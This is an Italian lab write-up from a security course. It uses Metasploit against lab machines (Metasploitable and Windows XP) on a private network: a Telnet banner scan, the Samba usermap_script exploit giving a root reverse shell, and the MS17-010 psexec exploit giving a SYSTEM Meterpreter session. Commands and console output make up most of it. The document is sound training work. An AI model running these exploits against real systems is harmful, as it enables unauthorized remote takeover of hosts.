


S7 LEZIONE 2

Traccia: Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

```
(kali@kali)-[~]
└─$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor
```



```
[*] Metasploit v6.3.50-dev
--=--=[ 2384 exploits - 1235 auxiliary - 417 post ]
--=--=[ 1391 payloads - 46 encoders - 11 nops    ]
--=--=[ 9 evasion                               ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search telnet_version

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/telnet/lantronix_telnet_version		normal	No	Lantronix Telnet Service Banner Detection
1	auxiliary/scanner/telnet/telnet_version		normal	No	Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.50.111
rhosts => 192.168.50.111
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
```

```
[+] 192.168.50.111:23 - 192.168.50.111:23 TELNET
[*] 192.168.50.111:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

La macchina Metasploitable presenta un servizio Telnet in ascolto sulla porta 23 che trasferisce il traffico su un canale non cifrato quindi un attaccante potrebbe inserirsi nella comunicazione per rubare info importanti.

Telnet è un protocollo di rete utilizzato per stabilire una connessione remota con un dispositivo tramite una rete di computer, il protocollo opera su TCP/IP e fornisce una comunicazione bidirezionale, consentendo agli utenti di eseguire comandi su un pc remoto come se fossero fisicamente presenti sulla console.

Telnet trasmette dati in formato di testo non crittografato, rendendo vulnerabili le informazioni trasmesse.

usermap_script

```
(kali@kali)-[~]
└─$ msfconsole
Metasploit tip: When in a module, use back to go back to the top level prompt
# cowsay++
< metasploit >
  \
  (oo)
  ( )
  |---|
  *

+--=[ metasploit v6.3.50-dev ]
+-- --=[ 2384 exploits - 1235 auxiliary - 417 post ]
+-- --=[ 1391 payloads - 46 encoders - 11 nops ]
+-- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search usermap_script

Matching Modules



| # | Name                               | Disclosure Date | Rank      | Check | Description                                   |
|---|------------------------------------|-----------------|-----------|-------|-----------------------------------------------|
| 0 | exploit/multi/samba/usermap_script | 2007-05-14      | excellent | No    | Samba "username map script" Command Execution |



Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  |                 | no       | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 139             | yes      | The target port (TCP)                                                                                  |



Payload options (cmd/unix/reverse_netcat):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.50.101  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.50.111
rhosts => 192.168.50.111

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.50.101:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo czAhTSa18uaIyXdF;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "czAhTSa18uaIyXdF\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.50.101:4444 -> 192.168.50.111:40392) at 2024-01-16 12:31:37 +0100

whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:35:23:65
          inet addr:192.168.50.111  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe35:2365/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:46 errors:0 dropped:0 overruns:0 frame:0
          TX packets:174 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4272 (4.1 KB)  TX bytes:14433 (14.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:260 errors:0 dropped:0 overruns:0 frame:0
          TX packets:260 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:64895 (63.3 KB)  TX bytes:64895 (63.3 KB)
```

Metasploitable sulla porta 445 TCP è attivo un servizio SMB che è vulnerabile ad un attacco di tipo **command execution**. Sfruttando questa vulnerabilità è possibile eseguire del codice sulla macchina remota.

ATTACCO A WINDOWS XP

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use exploit(windows/smb/ms17_010_psexec)
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit(windows/smb/ms17_010_psexec)):



| Name                 | Current Setting                                                | Required | Description                                                                                            |
|----------------------|----------------------------------------------------------------|----------|--------------------------------------------------------------------------------------------------------|
| DBGTRACE             | false                                                          | yes      | Show extra debug trace info                                                                            |
| LEAKATTEMPTS         | 99                                                             | yes      | How many times to try to leak transaction                                                              |
| NAMEDPIPE            |                                                                | no       | A named pipe that can be connected to (leave blank for auto)                                           |
| NAMED_PIPES          | /usr/share/metasploit-framework/data/wordlists/named_pipes.txt | yes      | List of named pipes to check                                                                           |
| RHOSTS               |                                                                | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT                | 445                                                            | yes      | The Target port (TCP)                                                                                  |
| SERVICE_DESCRIPTION  |                                                                | no       | Service description to be used on target for pretty listing                                            |
| SERVICE_DISPLAY_NAME |                                                                | no       | The service display name                                                                               |
| SERVICE_NAME         |                                                                | no       | The service name                                                                                       |
| SHARE                | ADMIN\$                                                        | yes      | The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a normal read/write folder share   |
| SMBDomain            | .                                                              | no       | The Windows domain to use for authentication                                                           |
| SMBPass              |                                                                | no       | The password for the specified username                                                                |
| SMBUser              |                                                                | no       | The username to authenticate as                                                                        |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.50.101  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.50.200
rhosts => 192.168.50.200
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 192.168.50.101:4444
[*] 192.168.50.200:445 - Target OS: Windows 5.1
[*] 192.168.50.200:445 - Filling barrel with fish... done
[*] 192.168.50.200:445 - | Entering Danger Zone |
[*] 192.168.50.200:445 - [*] Preparing dynamite...
[*] 192.168.50.200:445 - [*] Trying stick 1 (x86)... Boom!
[*] 192.168.50.200:445 - [*] Successfully Leaked Transaction!
[*] 192.168.50.200:445 - [*] Successfully caught Fish-in-a-barrel
[*] 192.168.50.200:445 - | Leaving Danger Zone |
[*] 192.168.50.200:445 - Reading from CONNECTION struct at: 0x89caa5b8
[*] 192.168.50.200:445 - Built a write-what-where primitive...
[*] 192.168.50.200:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.50.200:445 - Selecting native target
[*] 192.168.50.200:445 - Uploading payload... qlhnhkhh.exe
[*] 192.168.50.200:445 - Created qlhnhkhh.exe...
[*] 192.168.50.200:445 - Service started successfully...
[*] 192.168.50.200:445 - Deleting qlhnhkhh.exe...
[*] Sending stage (175686 bytes) to 192.168.50.200
[*] Meterpreter session 1 opened (192.168.50.101:4444 -> 192.168.50.200:1031) at 2024-01-16 08:04:05 -0500

meterpreter > |
```